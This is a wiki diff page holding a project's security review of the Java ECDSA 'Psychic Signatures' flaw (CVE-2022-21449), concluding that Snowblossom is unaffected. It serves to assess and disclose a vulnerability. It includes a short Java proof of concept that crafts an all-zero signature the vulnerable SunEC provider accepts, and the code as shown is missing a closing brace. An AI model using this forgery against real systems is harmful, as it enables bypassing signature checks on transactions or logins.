Difference between revisions of "Security/SR-1"

From Snowblossom Wiki
Jump to: navigation, search
(Created page with "Security Review 1 - CVE-2022-21449: Psychic Signatures in Java ## Overview In this CVE some versions of Java do not do proper validation of ECDSA signatures and the signatur...")
 
 
(3 intermediate revisions by the same user not shown)
Line 1: Line 1:
 
Security Review 1 - CVE-2022-21449: Psychic Signatures in Java
 
Security Review 1 - CVE-2022-21449: Psychic Signatures in Java
  
## Overview
+
== Overview ==
  
 
In this CVE some versions of Java do not do proper validation of ECDSA signatures and the signatures can be trivially faked.
 
In this CVE some versions of Java do not do proper validation of ECDSA signatures and the signatures can be trivially faked.
Line 14: Line 14:
 
     Signature sig_engine = Signature.getInstance(algo, Globals.getCryptoProviderName());
 
     Signature sig_engine = Signature.getInstance(algo, Globals.getCryptoProviderName());
  
## References
+
== Impact ==
 +
 
 +
None.  No version of Snowblossom will use the Java ECDSA provider for signatures so we don't care.
 +
 
 +
== References ==
  
 
https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/
 
https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/
  
## Test Proceedure
+
https://github.com/snowblossomcoin/snowblossom/blob/eaa43613032f709df0e573a3a911c946f1f892e6/lib/src/SignatureUtil.java#L95
 +
 
 +
== Test Procedure ==
  
 
On a system with the problematic java versions the test code was run to reproduce the issue.
 
On a system with the problematic java versions the test code was run to reproduce the issue.
 
<code>
 
<code>
 +
<pre>
 
Testing blank signature with bouncycastle:
 
Testing blank signature with bouncycastle:
 
Should report false meaning bad signature did not validate
 
Should report false meaning bad signature did not validate
Line 29: Line 36:
 
Should report false meaning bad signature did not validate
 
Should report false meaning bad signature did not validate
 
true
 
true
</code>
+
</pre></code>
 +
 
 +
As expected, the bouncy castle does not have the problem but the java provider does.
 +
 
 +
== Test Code ==
 +
 
 +
<code><pre>
 +
import java.security.*;
 +
 
 +
import java.math.BigInteger;
 +
import org.bouncycastle.asn1.*;
 +
 
 +
public class Prob
 +
{
 +
  public static byte[] getBlankSig()
 +
    throws Exception
 +
  {
 +
    BigInteger r = BigInteger.ZERO;
 +
 
 +
    BigInteger s = BigInteger.ZERO;
 +
 
 +
    ASN1EncodableVector v = new ASN1EncodableVector();
 +
    v.add(new ASN1Integer(r)); v.add(new ASN1Integer(s));
 +
 
 +
    return new DERSequence(v) .getEncoded();
 +
 
 +
  public static void main(String args[]) throws Exception
 +
  {
 +
      Security.addProvider(new org.bouncycastle.jce.provider.BouncyCastleProvider());
 +
 
 +
      KeyPair keys = KeyPairGenerator.getInstance("EC").generateKeyPair();
 +
      Signature sig_engine = Signature.getInstance("SHA256WithECDSA");
 +
      sig_engine.initSign(keys.getPrivate());
 +
      sig_engine.update("proper data".getBytes());
 +
 
 +
      System.out.println("Testing blank signature with bouncycastle:");
 +
      System.out.println("Should report false meaning bad signature did not validate");
 +
      {
 +
        Signature sig = Signature.getInstance("SHA256WithECDSA","BC");
 +
        sig.initVerify(keys.getPublic());
 +
        sig.update("Hello, World".getBytes());
 +
        System.out.println(sig.verify(getBlankSig()));
 +
      }
 +
      System.out.println();
 +
      System.out.println("Testing blank signature java provider:");
 +
      System.out.println("Should report false meaning bad signature did not validate");
 +
      {
 +
        Signature sig = Signature.getInstance("SHA256WithECDSA","SunEC");
 +
        sig.initVerify(keys.getPublic());
 +
        sig.update("Hello, World".getBytes());
 +
        System.out.println(sig.verify(getBlankSig()));
 +
      }
 +
 
 +
  }
 +
}
 +
</pre></code>

Latest revision as of 04:07, 21 April 2022

Security Review 1 - CVE-2022-21449: Psychic Signatures in Java

Overview

In this CVE some versions of Java do not do proper validation of ECDSA signatures and the signatures can be trivially faked.

This of course seems alarming since Snowblossom makes extensive use of ECDSA signatures, especially for seed based wallets.

However, in review of the issue it was found that while the flaw does absolutely exist in some versions of Java, no version of Snowblossom uses the Java provided security provider for ECDSA signatures.

In the relevant section of Snowblossom code, we are always explicitly using the Bouncy Castle (BC) cryptographic provider.

   Signature sig_engine = Signature.getInstance(algo, Globals.getCryptoProviderName());

Impact

None. No version of Snowblossom will use the Java ECDSA provider for signatures so we don't care.

References

https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/

https://github.com/snowblossomcoin/snowblossom/blob/eaa43613032f709df0e573a3a911c946f1f892e6/lib/src/SignatureUtil.java#L95

Test Procedure

On a system with the problematic java versions the test code was run to reproduce the issue.

Testing blank signature with bouncycastle:
Should report false meaning bad signature did not validate
false

Testing blank signature java provider:
Should report false meaning bad signature did not validate
true

As expected, the bouncy castle does not have the problem but the java provider does.

Test Code

import java.security.*;

import java.math.BigInteger;
import org.bouncycastle.asn1.*;

public class Prob
{
  public static byte[] getBlankSig()
    throws Exception
  {
    BigInteger r = BigInteger.ZERO;

    BigInteger s = BigInteger.ZERO;

    ASN1EncodableVector v = new ASN1EncodableVector();
    v.add(new ASN1Integer(r)); v.add(new ASN1Integer(s));

    return new DERSequence(v) .getEncoded();

  public static void main(String args[]) throws Exception
  {
      Security.addProvider(new org.bouncycastle.jce.provider.BouncyCastleProvider());

      KeyPair keys = KeyPairGenerator.getInstance("EC").generateKeyPair();
      Signature sig_engine = Signature.getInstance("SHA256WithECDSA");
      sig_engine.initSign(keys.getPrivate());
      sig_engine.update("proper data".getBytes());

      System.out.println("Testing blank signature with bouncycastle:");
      System.out.println("Should report false meaning bad signature did not validate");
      {
        Signature sig = Signature.getInstance("SHA256WithECDSA","BC");
        sig.initVerify(keys.getPublic());
        sig.update("Hello, World".getBytes());
        System.out.println(sig.verify(getBlankSig()));
      }
      System.out.println();
      System.out.println("Testing blank signature java provider:");
      System.out.println("Should report false meaning bad signature did not validate");
      {
        Signature sig = Signature.getInstance("SHA256WithECDSA","SunEC");
        sig.initVerify(keys.getPublic());
        sig.update("Hello, World".getBytes());
        System.out.println(sig.verify(getBlankSig()));
      }

  }
}